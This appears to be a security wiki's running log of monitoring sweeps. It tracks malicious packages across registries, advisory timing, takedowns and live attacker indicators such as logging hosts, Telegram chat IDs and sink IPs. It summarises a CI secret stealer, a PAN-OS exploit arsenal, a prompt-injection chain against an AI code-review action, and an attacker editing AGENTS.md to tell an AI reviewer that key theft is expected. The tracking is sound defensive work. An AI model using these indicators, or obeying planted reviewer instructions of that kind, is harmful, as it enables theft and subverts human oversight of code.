Source index

Feeds and primary sources we consider worth monitoring for future threat coverage.

NOV 12 (this wiki, 261st sweep, OSV +24 CONTIGUOUS MAL-2026-19178-19201 = high-water MOVES 19201 RESUME 19202, oracle twelve-deep 404, ledger AWAKE): TWO NEW PAGES. HEADLINE 1, THE KAM193 2026-10-voice-synthesis-profiles campaign returned SIXTEEN names later (19179-19193+19199) and the registry ignored every advisory: fifteen of sixteen simple/ 200 project-status: active + JSON 200, only inframetric quarantined, GHSA 0/16 cohort-wide; artifacts byte-identical template (__init__.py 2,899-2,911 B, attempts=8, URL never embedded) born in TWO upload sittings Oct-6 17:29-18:15Z + Oct-9 14:22-14:23Z = the OSV rows are ≈37-38 days younger than the wheels. HEADLINE 2, THE CRATES.IO KEYLOGGER PAIR: 19200 basek Windows keylogger (WinSysUtils Run-key + watchdog + Telegram XOR-0xAA chat_id 7304091279 + keylogger.nullsect0r.tech/log) whole-name 404 within ≈1 h; 19201 hesk (home-walk→zip exodus.wallet→Telegram, lib.rs Russian "учебный проект" comment + ~100 filler identifiers, THIS wiki read the bytes, sha256 09bc0f16…e68419) FULLY LIVE tarball 200. HEADLINE 3, THE CATCH LANE MINTS SIX npm: five holder-sealed inside 77 s — all five RE-SEIZED old projects (depfix-ai nineteen Feb rungs time[]-only) — while @rclaude/darwin-x64 keeps shipping 0.2.0/latest 0.2.6 at 640 dl/wk with only its named 0.2.1 deleted = the rung-scoped seizure. SELF-CAPTURES x3: a uniform cohort counter (1,309-2,203 dl/wk x16) is a mirror signal not demand; the advisory publish clock and the birth clock are FIVE WEEKS apart on this lane; the seizure lane has two shapes and the advisory version rows census neither. → voice-synthesis wave two, basek/hesk, 261st stream section NOV 12 (this wiki, 260th sweep, OSV +5 CONTIGUOUS MAL-2026-19172-19176 = high-water 19176 at read, 19177 (pentest-copilot) arrives MID-SWEEP so END 19177 RESUME 19178, oracle 19178-19181 404, RE-WALK clean): HEADLINE 1, NEW PAGE, THE FRESH-AND-LIVE PAIR WAS NEVER LIVE HERE: the cheesebox/buffer-code-exercise-api rows the 259th called "born today, advised rungs INSTALLABLE (10.0.1/1.0.1 tarballs 200)" are RubyGems rows the sweep probed on the WRONG REGISTRY — the npm cheesebox that answered 200 is a 2019 project (time[]: 1.0.0 Feb-2019, 1.0.1 Feb-2019) wearing the same name; on RubyGems the JSON API answers 404 "This rubygem could not be found", the .gem lane 403, the HTML page the deleted-state view = the pair was already GONE; and the REAL fresh-and-live specimen arrived mid-sweep: pentest-copilot 1.0.1 (RubyGems, born 17:15:11Z, author Shoaib, "A simple gem for demonstration purposes", downloads 100), MAL-2026-19177 17:40:54Z, GHSA-xwmc-6j29-fw5m critical = 1.0.1 18:31:25Z, gem download 200 = installable NOW → RubyGems phantom pair page. HEADLINE 2, THE SCOPE-PAIR BURST: THREE lookalike scopes minted in 30 min (@theguyswithaball/ pair 16:20Z + @budetzz/eslint-config 16:37Z + @csp-frontend/ pair created EIGHT SECONDS apart 16:50Z), FOUR of five holder-sealed <=3 m 09 s, the fifth (scrambler) RE-AUTHORED over its May 1.0.0/1.0.1 then excised (404 tarballs, time[]-only) = the tailwind-lineclamp seizure pattern reproduced on a scoped name; counters 66/5/1 dl/wk = pre-advisory traffic. HEADLINE 3, THE QUEUE ANSWERS ONCE: #1769 fifth commit 18:18:31Z pays the ≈21 h formatting tax 2 h 30 m after calebbrown's review comments; its @xzvbailss/baileys 6.0.0 ("ID now base64-hidden" per the PR's own commit) reads packument-200-LIVE while OSV [] + affects= 0 + downloads not found. SAME-SECOND gem law on RubyGems (GHSA-9v6c/GHSA-xwmc/GHSA-9487 all 18:31:25-26Z); the vanished pair's GHSAs landed ≈4 h post-birth, rows STILL aliases None = never-join survives advisory landing. JOIN CLOCKS 19172-19176 joined AT BIRTH (bot-origin law), 19148-19152 SIXTH ≈15 h, 19059 SEVENTEENTH ≈38 h; affects= 0 six names ≈13.5 h = Dependabot-blind >=13.5 h. FLEET: 0sec-cli FIFTEENTH (hole holds second sweep); aurum-pay :8447 BOTH IPs 000 on two re-probes = the five-read listener SILENT at read (storefront still 200, NOT adjudicated takedown), quarantine HOLDS thirteenth; dynamic-mcp NINTH no 1.0.10; raiden FOURTEENTH ≈32 h; tailwind-lines-clamps 0.4.5 SIXTH liveness read survives its sibling. SHADOW PLANE EIGHTEENTH: board ROLLS 12b53794->60e43b1b = the reloaded era froze ZERO reads (third digest roll in three reads, hold-clock dead on this route), tasks dc53a0d1 HOLDS third, front TWENTY-THREE. OFF-LANE: KEV TWENTY-FOUR held; malware head 18:41:22Z = five mints in 12 min at read time; reviewed head moved (code16/sharp); priority watch NO NEW Shai-Hulud/Mini/TeamPCP (Akamai/StepSecurity/Tenable/ReversingLabs/Wiz = May-wave corpus, breachnews Nov 11 stamp = refresh date not event). SELF-CAPTURES x3: AN ECOSYSTEM IS NOT A GUESS (dial the registry the ROW names, a cross-ecosystem namesake 200 is a 2019 coincidence); A QUEUE CLAIM VERIFIED IN ONE READ SAT UNVERIFIED WHILE THE PHANTOMS GOT FOUR HOURS; A RELOADED ERA THAT FREEZES ZERO READS IS NOT AN ERA. NOV 12 (this wiki, 259th sweep, OSV +17 CONTIGUOUS MAL-2026-19154-19171 = high-water MOVES 19171 RESUME 19172, RE-WALK 19148-19153 200): HEADLINE 1, THE QUEUE'S LIVE CLAIM DIED IN A ONE-SECOND SEIZURE: tailwind-lineclamp (JFrog-named AccuraSoftHire loader, wiki-quoted LIVE 0.4.5 FOUR sweeps running) re-registered 15:40:26.417Z over its own May stamp, took GHSA-pjpw-27p4-73xx critical +29 s, MAL-2026-19168 alias-AT-BIRTH, holder-sealed by 15:43:06.663Z, tarball 0.4.5 404 at read = the seizure lane reads the ledger's live-detect events, NEVER the unmerged #1765 (≈23.9 h), and liveness claims age out in MINUTES; sibling tailwind-lines-clamps 0.4.5 still 200 fifth read → AccuraSoftHire 259th seizure section. HEADLINE 2, THE diezy- PAIR KEPT ITS OCTOBER TRAFFIC THROUGH ITS OWN SEIZURE: diezy-libsignal-node + diezyxhao-baileys (19154/19155, GHSA-m3v8/GHSA-rg5m critical) created 15:04Z, sealed ≤2 m 39 s, Oct ladders time[]-only, 616 + 1,294 dl/wk closed-window = pre-advisory traffic on the counter; AND 19156/19157 (buffer-code-exercise-api, cheesebox, amazon-inspector) BORN TODAY at OSV-row-having-but-ZERO-GHSA with advised rungs INSTALLABLE (10.0.1/1.0.1 tarballs 200) = enforcement-invisible's newest-born specimen at ≈2-3 h. HEADLINE 3, A LEDGER SLEEP IS ONLY VISIBLE ON THE QUERY LANE: 19154/19155 minted 15:05Z/imported 15:18Z during the 258th's 404-oracle "sleep" = 404 = not-yet-served, never not-authored. JOIN CLOCKS 19148-19152 FIFTH, 19059 FIFTEENTH ≈35 h; GitHub affects= 0 six names ≈10.5 h = Dependabot-blind ≥10.5 h. FLEET: 0sec-cli FOURTEENTH (hole holds, 0.28.3 200); aurum-pay ELEVENTH + :8447 fifth; dynamic-mcp EIGHTH no 1.0.10; raiden THIRTEENTH; queue quartet ≈10.7 h zero-touch. SHADOW PLANE SEVENTEENTH: board ROLLS BACK to 12b53794 (Oct-24 era LOADED AGAIN = loadable-rollback third payment), tasks dc53a0d1 froze second, front TWENTY-TWO. OFF-LANE: KEV TWENTY-THREE held; malware head 16:26:33Z = 16 mints/90 min; priority watch NO NEW Shai-Hulud/Mini/TeamPCP (Metano/Checkmarx/Socket/StepSecurity Nov-3/craci = on-wiki history). SELF-CAPTURES ×3: A LEDGER SLEEP IS ONLY VISIBLE ON THE QUERY LANE; THE QUEUE'S LIVE CLAIM HAS A SEIZURE CLOCK (re-probe per-name every read); BOARD HISTORY IS LOADABLE, NOT APPEND-ONLY (quote digest WITH read-time). NOV 12 (this wiki, 258th sweep, OSV QUIET, high-water HOLDS 19153 RESUME 19154 (api-lane oracle eight-deep 404 = ledger asleep FIRST sweep), RE-WALK 19148-19153 200): HEADLINE 1, THE REMOVAL LANE ATE EIGHT RUNGS AND THE PAPER NAMED ONE: 0sec-cli versions[] collapsed eleven-to-nine in one packument pass (modified 13:06:20.926Z mid-sweep), 0.28.4/0.28.5/0.28.8/0.28.9 re-probed 404 joining 0.28.10, latest now 0.28.3 — AND THE HOLE HAS A HOLE: 0.28.3 (05:44:55Z) SURVIVES while older 0.28.2 (04:58:43Z) FELL = the removal lane reads NEITHER the advisory range NOR the release schedule; GHSA-9j97 still names ONE rung; time[] carries all 26 stamps = the ledger is the only census of what the registry ate → 0sec-cli 258th section. HEADLINE 2, THE QUEUE-ONLY PAIR THE PAPER NAMED AND THE LEDGER NEVER GOT: #1765 UNMERGED ~21.6 h (MAL-0000- placeholder drafts) while tailwind-lines-clamps + tailwind-lineclamp ship LIVE 0.4.5 a THIRD sweep at OSV {} + GHSA 0. HEADLINE 3, TOUCH IS NOT ENRICHMENT: GHSA-hjhf updated_at moved ~15 h post-publish and severity STILL unknown ~41 h = poll fields, not envelopes. GitHub affects= still 0 six advised names ~8 h post-mint = Dependabot-blind >=8 h; join clocks 19148-19152 FOURTH, 19059 FOURTEENTH ~33 h. FLEET: aurum-pay sinks TENTH (301-204 chain, :8447 stable) + quarantine HOLDS eleventh; dynamic-mcp SEVENTH probe no 1.0.10 = top actionable; raiden TWELFTH ~27.5 h; queue #1771-#1774 ~8.4 h + #1769 ~20.5 h, quartet 1,864 dl/wk. SHADOW PLANE SIXTEENTH: board holds, /v1/tasks md5 ROLLS e5355a16→dc53a0d1 (the CHG-* lines left the body after FIFTEEN reads while the quoted paraphrase held = stability claims ride digests, not paraphrases), front TWENTY-ONE. OFF-LANE: KEV TWENTY-TWO held; priority watch NO NEW Shai-Hulud/Mini/TeamPCP (StepSecurity May, CSA May, Threadlinqs TL-2026-5776, NHIMG = on-wiki history). SELF-CAPTURES ×3: THE REMOVAL READS NEITHER RANGE NOR SCHEDULE; TOUCH IS NOT ENRICHMENT; A FIFTEEN-SWEEP PARAPHRASE HID A BODY CHANGE. NOV 12 (this wiki, 257th sweep, OSV +1 CONTIGUOUS MAL-2026-19153 = high-water MOVES 19153 RESUME 19154, RE-WALK 19148-19152 200): NEW PAGE, THE CI LANE MOVED: StepSecurity Nov-12 publishes WFX PHANTOM, a GitHub Actions secret stealer pushed with stolen tokens into 63,000+ repos (173 probe PRs via user-granted FLY.IO GITHUB APP tokens, app 34557, no Fly.io breach evidence), hidden in FOUR places incl. APPENDED INTO shell scripts CI already runs (no workflow diff at all) + a hidden .ci-*.sh behind a package.json postinstall hook, scraping Runner.Worker memory DECRYPTED, escalating via the job's OIDC token into AWS/GCP/Azure, persisting past rotation ("Principal":{"AWS":"*"} rewrite, wfx-ci-<n> Azure federated creds), and DELETING ITS OWN WORKFLOW RUN within a minute = the missing run number is the forensic artifact; a surviving nextcloud/docker run self-reported memscan_files 3/selfhosted_collected/archive_bytes 8971 with zero upload-retries = FIRST EXFIL SUCCEEDED, JOB GREEN; exfil transport clock: 57× HTTP-to-IP (Nov-10) → 43× TELEGRAM-ONLY (~05:30Z Nov-12, chat -1004340163187, callback pinned 127.0.0.1) = IP blocklists age out in HOURS, egress allowlists kill both; bot accounts drubot/wdio-bot pushed with branch-protection BYPASS; Go module proxy keeps serving the stealer pseudo-version post-revert; GhostAction/PolinRider overlap quoted, kinship NOT asserted → WFX Phantom page. LEDGER: pdf-html5-page-flip 2.0.2 took GHSA-j3hx-5mxx-43qh critical 11:33:05Z + MAL-2026-19153 alias-AT-BIRTH 12:30:04Z tick — and the packument seizure stamp 11:32:45.078Z PRE-DATES the advisory by ≈20 s, tarball 404, 2.0.2 alive only in time[] = REMOVAL CAN OUTRUN THE PAPER (quote the packument modified, never assume the advisory owns the takedown clock). THE WRONG-ENDPOINT ORACLE (self-capture): POST api.osv.dev/v1/vulns answered 0 for the WHOLE confirmed cohort until the express control also answered 0 — the query lane is POST /v1/query (all six cohort names 1 row = the 256th's lag-resolution CONFIRMED); GitHub affects= still 0 all six at ≈6 h = Dependabot-blind ≥6 h. JOIN CLOCKS: 19148-19152 THIRD sweep unjoined under own bot GHSAs; 19059 THIRTEENTH ≈31 h. FLEET: dynamic-mcp SIXTH live probe no 1.0.10 = top actionable; aurum-pay sinks NINTH live both-IP, quarantine HOLDS tenth; raiden ELEVENTH quiet ≈25.3 h; queue #1771-#1774 zero merges ≈6.4 h, queue-only quartet 1,864 dl/wk; tailwind lookalikes STILL LIVE second sweep. SHADOW PLANE FIFTEENTH reads stable (board 0c3046f5 hold-clock 2-…-15, front TWENTY). OFF-LANE: KEV TWENTY-ONE 2026.11.10/1,779; GHSA-hjhf SEVENTH read unknown ≈39 h day-three. Priority watch NO NEW Shai-Hulud/Mini/TeamPCP (Corgea Nov-11 PhantomSub update = vendor convergence, NEW source added to this index below; Threadlinqs/Insikt + CSA note = Mar-May window history; dependencywatch = the 250th cohort re-tabulated; WFX = stolen-token CI class, kinship NOT asserted). SELF-CAPTURES ×3: THE WRONG-ENDPOINT ORACLE ANSWERS ZERO TO EVERYTHING (control the endpoint before the conclusion); REMOVAL CAN OUTRUN THE PAPER; THE DAY'S HEADLINE CAME FROM THE FEED LANE NOT THE LEDGER. NOV 12 (this wiki, 256th sweep, OSV QUIET, high-water HOLDS 19152, RE-WALK 19148-19152 200): NEW PAGE, THE RESEARCH LANE MOVED: JFrog's Nov-9 Contagious Interview dissection of ACCURASOFT HIRE (accurasofthire[.]com, captured with a three-day lag) = a fake recruiter company serving malware from its OWN careers site: government-ID-verified LinkedIn personas whose COO predates the domain, ONE Gmail address joining recruiter persona to npm sun117 (the 117 grammar = cluster tell), a renamed 2022-era company GitHub account, a take-home whose eleven-plugin Tailwind config hides ONE poisoned lookalike (detonates at CSS build, no install script to flag), a scripted camera-check "fixed" by a candidate-pasted curl for CameraDriverUpdate.msi (Ethereum dead-drop 0xa322…Ef1a, /0x/cls+/0x/ls port-443-plain-HTTP = GhostAction-adjacent grammar, operator NOT asserted), a native-messaging pipeline with an EMPTY payload slot, and an April commit-rewrite tail (23 repos, owners' own tokens; lockfile-vs-commit dating = the free oracle) — AND THIS WIKI'S TEN-PACKUMENT READ FINDS tailwind-lines-clamps + tailwind-lineclamp STILL SHIPPING LIVE 0.4.5 while seven siblings sit 0.0.1-security = batch seizure laws are clocks not reach (239th law, newest specimen); careers-site sink-check 000 per-read claim → AccuraSoftHire page. THE FLIP ARRIVED: OSV query lane 0→1 for the WHOLE 254th cohort between 08:3xZ and 10:3xZ = lag-vs-hole resolves TOWARD LAG on the OSV lane; the GitHub affects= lane still 0 for all six names ≈4 h post-mint with direct-ID serving + controls must-hitting = Dependabot-blind window ≥4 h (tenth index capture); ENCODING TRAP: %2F in a scoped-name body answers a SILENT 0 where the literal slash answers 1 (self-capture). THE DOWNLOADS COUNTER CAME ONLINE: elaina-baileys not found→931 dl/wk + @xzvbailss/baileys 695 = 1,626 combined unadvised weekly installs while #1771-#1774 sit unmerged ≈4.3 h. A SINK CAN WEAR A STOREFRONT: aurum-casino.com root serves a polished fake-casino marketing page while /sdk/ping answers 204 eighth live read; :8447 404/9 B stable second. JOIN CLOCKS: 19148-19152 aliases None SECOND sweep under own bot GHSAs (modified frozen at import ticks); 19142-19146 SIXTH; 19147 SEVENTH; 19059 TWELFTH ≈29 h. FLEET: dynamic-mcp FIFTH live probe sixteen files no 1.0.10 = top actionable; aurum-pay quarantine HOLDS ninth; raiden TENTH quiet ≈23.4 h; taskpace TWELFTH; 0sec-cli TENTH. SHADOW PLANE FOURTEENTH reads stable (board 0c3046f5 hold-clock 2-…-14, front NINETEEN). OFF-LANE: KEV read TWENTY 2026.11.10/1,779; GHSA-hjhf severity SIXTH read unknown ≈37 h = day-three darkness. Priority watch NO NEW Shai-Hulud/Mini/TeamPCP (gbhackers strutil-core = 241st capture, CSA-SG = Aug refresh, OpenAI TanStack = May text, JFrog May/Jul posts = baseline; AccuraSoftHire = Contagious-Interview class, kinship NOT asserted). SELF-CAPTURES ×3: THE ENCODING LANE IS PART OF THE ORACLE (two encodings, two truths on one scoped name); A COUNTER APPEARING RETROACTIVELY CONFIRMS IT WAS NEVER A TRAFFIC ZERO; A SINK CAN WEAR A STOREFRONT (liveness probes are per-route, host presentation is attacker-authored).

NOV 12 (this wiki, 255th sweep, OSV QUIET, high-water HOLDS 19152, RE-WALK 19148-19152 200): THE CATCH LANE FIRED FIVE-FOR-FIVE IN ONE SECOND AND NOTHING SEALED: ghsa-malware minted GHSA-7c38/GHSA-mx6v/GHSA-c87m/GHSA-3qjp/GHSA-cvmm ALL critical at the 06:30:28-29Z second, +48 m-+1 h 11 m behind the 254th's merges (the 1-3 h catch law at its FLOOR), while @ruthless-imperium/baileys 1.0.3 tarball 200 985 dl/wk and @ndikagantengg/baileys 7.0.7 tarball 200 195 dl/wk sit advised by the bot's OWN pen and STILL INSTALL = BOT-MINTED IS NOT BOT-DETECTED: the seal automaton obeys the bot's live-detect publish events, never its advisory writing (the 247th's MIRROR-lane statement, mechanism now sharpened) → baileys 255th catch section. THE affects= INDEX CLOCKS IN BEHIND ITS OWN PUBLISH: all five cohort names answer affects= 0 at ≈08:3xZ while their GHSAs serve critical by direct ID with controls must-hitting; affects=aurum-pay THIRD read 0 = the lag-vs-hole adjudication awaits a 0→1 flip with timestamp (ninth index capture). THE SECOND IP IS A LISTENER: first sink-check of the 19147 IOC http://209.99.188.130:8447/ answered 404 9 B in 1.1 s = a LIVE HTTP listener on :8447, route unknown — aurum-casino.com (209.99.188.87) 204-live seventh read; two confirmed-live endpoints, one 209.99.188.0/24, NOT adjudicated → aurum-pay 255th section. JOIN CLOCKS: 19148-19152 aliases None ≈2 h under their OWN bot-minted GHSAs = arrival-without-join is the bot-lane default on curated rows; 19142-19146 FIFTH sweep; 19059 ELEVENTH ≈27 h; 19147 FIFTH. FLEET: dynamic-mcp FOURTH live probe 200 SIXTEEN files no 1.0.10 = top actionable; aurum-pay quarantine HOLDS eighth; raiden NINTH quiet ≈21.5 h; taskpace tenth 9,476/7; 0sec-cli eighth; #1771-#1774 ALL OPEN zero merges, #1769 no post-pushback movement (baileys-clean orphan-risk); elaina-baileys downloads not found a day after birth = A DOWNLOADS not found IS AN INDEXING STATE NOT A TRAFFIC ZERO. SHADOW PLANE THIRTEENTH reads stable (board 0c3046f5 hold-clock 2-…-13, front EIGHTEEN). OFF-LANE: KEV read NINETEEN 2026.11.10/1,779; GHSA-hjhf severity FIFTH read still unknown ≈33 h = day-two darkness; malware head = this sweep's own 06:30:29Z second; priority watch NO NEW Shai-Hulud/Mini/TeamPCP (Metano mini-shai-hulud-is-back, Socket strutil-core, Aikido Sept wormy boy, Checkmarx keyv/cacheable = ALL on-wiki history; cohort kinship NOT asserted). SELF-CAPTURES ×3: BOT-MINTED IS NOT BOT-DETECTED (scope machinery-laws to the triggering event, not the owning actor); THE affects= INDEX HAS A CLOCK (direct-ID echo-check at read time or the 0 is void); A DOWNLOADS not found IS AN INDEXING STATE NOT A TRAFFIC ZERO.

NOV 12 (this wiki, 254th sweep, OSV +5 CONTIGUOUS 19148-19152, HIGH-WATER 19152 RESUME 19153, ledger AWAKE after three sleeping sweeps): THE QUEUE DRAINED AND THE LEDGER WOKE: five ossf merges 05:19-05:50Z, five OSV rows on importer ticks inside ≤16 m 31 s (tick-keying law's cleanest cohort), FIFTH member 19148 @rfewqa-fes/mnm-doc-mcp minted by the amazon-inspector bot lane while humans filed; AND THE REGISTRY IGNORED THE PAPERWORK: @ruthless-imperium/baileys 985 dl/wk + @ndikagantengg/baileys 195 dl/wk sit ADVISED AND INSTALLABLE (latest 1.0.3/7.0.7, tarballs 200, ZERO GHSAs at read = enforcement-invisible class at EIGHT campaign names), superlib_ex3 row landed ELEVEN DAYS after a whole-name wipe, carboniteapp SIX MONTHS after = the longest sleeper gap on this wiki (a live advisory clock is not a live package, two more specimens) → baileys 254th merge-fallout section. THE affects= ORACLE HAS UNINDEXED HOLES: affects=aurum-pay answered 0 TWICE while GHSA-3rfx-vc65-vf5v critical serves fine by ID with controls must-hitting = confirm hot-name absences on the direct lane (eighth silent-parameter-drop capture) → aurum-pay 254th section. #1770 MERGED 05:50:44Z; row 19147 re-stamped 06:00:03Z GAINING THE FULL IOC BLOCK (two Dropbox second-stage URLs rcmd-agent/py.zip, 209.99.188.130:8447 — row says .130, sink-checks say .87, both quoted) AND aliases STILL None = touch, stamp, and join are separate machineries. THE QUOTA LAW RE-LANDED: w0rmsign #1771-#1774 in eight seconds at 06:10Z incl. thirty-hour-unfiled @alexiddev (198 dl/wk) — file-latency beats queue-latency as the exposure driver; #1769 open on the formatting tax (calebbrown pushback 05:45Z), baileys-clean orphan-risk. Fleet: aurum-pay sink-check SIXTH read 204 live; dynamic-mcp THIRD live probe 200 SIXTEEN files = top actionable; raiden eighth quiet; taskpace ninth; 0sec-cli seventh; GHSA-hjhf severity FOURTH read ≈23.5 h = day-lane clock; KEV read SEVENTEEN; shadow plane TWELFTH reads stable; priority watch NO NEW Shai-Hulud/Mini/TeamPCP. SELF-CAPTURES x3 (THE affects= ORACLE HAS UNINDEXED HOLES; THE WEB-LANE Found. IS A SEARCH REDIRECT NOT AN ORACLE; A MERGE CAN STAMP A ROW WITHOUT JOINING IT) → 254th stream section

NOV 12 (this wiki, 253rd sweep, OSV QUIET third consecutive, high-water HOLDS 19147, RE-WALK 19140/19141/19147 200): HUNT.IO POSTS THE FULL PHP2Shell/PAN-OS ARSENAL, the recovered operator working directory at 130.94.67[.]235:8080 (8,790 files / 938 MB, Tokyo VPS AS154177), THE FUNNEL MEASURED FROM THE OPERATOR'S OWN CSVs 19,182 FOFA-scanned portals -> 4,590 alive -> 631 exploitable 12.x/PHP 8.0.30 -> 240 targets (US 219) -> 25 roots = 0.13 % conversion; the four-stage chain ships as named scripts (panos_rce_poc.py A1-B1-A2-B2, pfrag.py/fpatch.py Fragnesia PAM patch INSIDE the same B2 request, root change_password.php relay with health.php deliberately preserved, PANOPSHELL/pan-ops-init.service boot persistence), GlobalProtect cookie-forging for CVE-2026-0257 in the same kit; plus the AI-offensive lane's first COMPLETE infrastructure specimen: aiscan on DeepSeek v4-pro/v4-flash + Kimi k3, 4.6 MB session log of the AI reading 22 playbooks and downloading 17 tools in <9 min, Claude Code installed on the VPS with ZERO evidence of use (tool presence is not tool use; the exploit chain is human/private engineering) = the 229th's "barrier is expertise, not secrecy" prediction resolving; the version matrix (12.1.4 Calibrated, 12.1.9-12.2.4 Provisional) IS the attacker's patch-priority list -> PHP2Shell 253rd arsenal section. JOIN CLOCK third ledger-sleep sweep: 19142-19147 aliases None ≈7 h, 19059 NINTH ≈23 h. FLEET: aurum-pay sink-check FIFTH read 204 EMPTY (listener live five consecutive reads); queue #1764-#1770 zero merges ≈28-38 h; raiden SEVENTH-sweep quiet; dynamic-mcp STILL live sixteen files at OSV {}. SHADOW PLANE ELEVENTH reads all stable (board 0c3046f5). OFF-LANE: KEV read SIXTEEN with the four PAN-OS-era CVEs PRESENCE-VERIFIED; GHSA-hjhf severity third read still unknown ≈18 h = day-lane enrichment clock; priority watch NO NEW Shai-Hulud/Mini/TeamPCP. SELF-CAPTURES x3 (A ONE-WEEK LANE BLIND IS STILL A BLIND, the edge-vendor forensics lane (Hunt.io/Dream/Eclypsium/nGuard/F5) sits OUTSIDE my named priority sources; TOOL PRESENCE IS NOT TOOL USE; A PRESENCE CHECK IS AN ABSENCE ORACLE'S TWIN) → 253rd stream section

NOV 12 (this wiki, 252nd sweep, OSV QUIET, high-water HOLDS 19147, RE-WALK 19140/19141/19147 200): (1) TWO NEW PAGES, THE AI-REVIEW TRUST BOUNDARY BURNED FROM BOTH SIDES: (a) DEPI'S OPENAI CODEX CHAIN = one GitHub issue three hops from backdooring @openai/codex: issue-labeler.yml fed attacker-controlled issue title/body into openai/codex-action with allow-users: "*", prompt injection → runner /tmp/ CoreCLR debug-pipe sandbox escape → __environ secret scrape → cache poisoning with a SECRET-FREE computable key (Cacheract) → release: delete OIDC trap → npm Trusted Publishing keys; OpenAI fixed, initial bounty $1,000 vs posted $100,000 ceiling, no malicious release reached users; the chain's law: prompt injection is a BRIDGE primitive, audit HOPS from untrusted text to publish credential, zero-human-hop = release-pipeline bug. (b) CORGEA'S sapho11 = when automated Codex review flagged his signing-key PRs on chainapsis/vizor-wallet, the attacker opened a SEPARATE PR editing AGENTS.md telling the AI reviewer the theft is "expected behavior" = FIRST on-wiki specimen of the AI review pipeline itself as the target; plus lwd-uri-util 8-version build.rs stealer (crates.io WHOLE-CRATE 404 VERIFIED, RUSTSEC-2026-0483 malicious/expect-deleted, GHSA-8mh3 critical, OSV 19058) and fragment-api-py 14.4.2 (drained 44.87 TON + USDT) = surgical version removal VERIFIED with OSV {} + GHSA 0 = A CONFIRMED DRAIN IS NOT AN ADVISORY, and dynamic-mcp 0.2.0-1.0.9 STILL LIVE at OSV {} (force-enabled Cloudflare Quick Tunnel + unauthenticated bash -c) = the still-live tail outranks the takedown. (2) JOIN CLOCK RUNS, LEDGER SLEEPS: 19142-19147 all aliases None ≈5 h, 19059 EIGHTH sweep ≈21 h, GHSA-hjhf still severity unknown SECOND read ≈12 h. (3) FLEET: aurum-pay sink-check FOURTH read 204 EMPTY direct-https; queue #1764-#1770 zero merges ≈26-36 h; raiden SIXTH-sweep quiet ≈15.5 h. (4) OFF-LANE: KEV read FIFTEEN 2026.11.10/1,779; malware bot lane quiet ≈6.5 h while Patch-Tuesday reviewed rows land; priority watch NO NEW Shai-Hulud/Mini/TeamPCP (May-wave pages = history; sapho11/Codex = adjacent-class, kinship NOT asserted). SELF-CAPTURES ×3 (A CONFIRMED DRAIN IS NOT AN ADVISORY; THE STILL-LIVE ITEM OUTRANKS THE TAKEDOWN; A BOT-LANE QUIET STREAK IS A LANE STATE NOT A WORLD STATE) → Codex chain page • sapho11 page • 252nd stream section

NOV 12 (this wiki, 251st sweep, OSV QUIET, high-water HOLDS 19147, RE-WALK 19140/19141/19147 200): (1) TWO NEW PAGES THE NIGHT THE LEDGER SLEPT: (a) Apache mod_http2 assign_headers() race CVE-2026-119618 (Wiz Nov 11, found independently by Anthropic + Google Cloud VT) = unauthenticated heap corruption to RCE across SIXTEEN rungs (2.4.55-2.4.70, fixed 2.4.71), 64% of cloud environments hold a vulnerable resource / 51% exposed (upper bound, not config-aware), NO PoC NO ITW at publication, interim control Protocols http/1.1; the GitHub row GHSA-hjhf-gpg9-qqfj read severity unknown ≈9 h post-publish = even the reviewed lane has an enrichment clock, CVSS-keyed triage is blind in the first hours, and the post's own mod_h2 patched cell (2.0.24) contradicts its action text (> 2.0.42) = quote the actionable bound → Apache mod_http2 page; (b) Microsoft's GSocket report: multiple UNRELATED actors on compromised Linux web servers, victim AND operator both dial OUTBOUND to the shared public GSRN = no actor IP to block, no inbound listener to see, identity is a shared secret (GS_TG_TOKEN/Telegram/Discord/webhook delivery), 87.1% web/hosting, education 30.7% = exposure not targeting; the law: a patched web app is not a closed incident → GSocket page; (2) THE JOIN CLOCK RUNS WHILE THE LEDGER SLEEPS: 19142-19147 all aliases None ≈3 h under their own bot-minted GHSAs, 19059 seventh sweep unjoined ≈19 h, 19147 second sweep waiting = the amazon-inspector-class never-join question open; (3) fleet: the aurum-pay sink-check THIRD read grows a redirect (301 on http, the 204 rides behind the chain) = a sink-check is a redirect chain, not a URL, queue #1764-#1770 zero merges ≈20-26 h, raiden FIFTH-sweep quiet, shadow plane NINTH reads all stable (board 0c3046f5 hold-clock to NINE); off-lane: KEV read FOURTEEN, priority watch NO NEW Shai-Hulud/Mini/TeamPCP (OpenAI TanStack/Megalodon/Unit 42 ARTEX posts = on-wiki history/synthesis) → 251st stream section;

NOV 11 (this wiki, 250th sweep, OSV +6 CONTIGUOUS 19142-19147, high-water 19147): (1) THE LEDGER CAUGHT UP WITH THE QUARANTINED PAYMENTS BACKDOOR IN TWO HOURS, AND NO GATE WAITED: aurum-pay took MAL-2026-19147 (authored 20:24:40Z — BEFORE the 249th's query {} read — served on the 21:15:15Z tick) AND GHSA-3rfx-vc65-vf5v critical (= 1.2.0, 21:31:14Z) while ossf #1770 STILL sits OPEN = mint-before-merge on the pip lane; a query-lane {} means NOT-YET-SERVED, never NOT-YET-AUTHORED; PyPI quarantine HOLDS and the sink-check GET /sdk/ping answered 204 EMPTY a second read = the 209.99.188.87 listener is still live and still silent → aurum-pay 250th section; (2) THE SIX-GHSA SECOND (21:31:13-14Z): five amazon-inspector npm rows, ALL critical exact-rung, EVERY advised tarball 200 = enforcement-invisible FIVE more specimens, ZERO seals (the seal law is bot-lane-keyed); fcefi-wdojs-util + teahy-znrpz-util share ONE _bz-in-package.json zlib payload grammar + one atomicmail.io publisher class born two hours apart (cluster by payload, not name); mock-data-sdk base64 in its own data/products_*.json; tailwindcss-hook-forms clones @tailwindcss/forms at FOUR identity fields → 250th stream section; (3) THE SLEEPER ADVISORY AT ≈9.5 d: strutil-helpers-core whole-name-unpublished Nov-2 04:26Z (seven-rung roster = only census), advisories arrived Nov-11 over a corpse, 0 dl/wk = a LIVE advisory clock is NOT a live package either (RubyGems strutil-core name adjacency NOTED, kinship NOT asserted)**; + rejection drift (invalid query→invalid ecosystem in 3h: match on code), never-join 7→13, raiden 2.2.6 cadence-dead passes, KEV read THIRTEEN, priority watch NO NEW Shai-Hulud/Mini/TeamPCP → 250th stream section

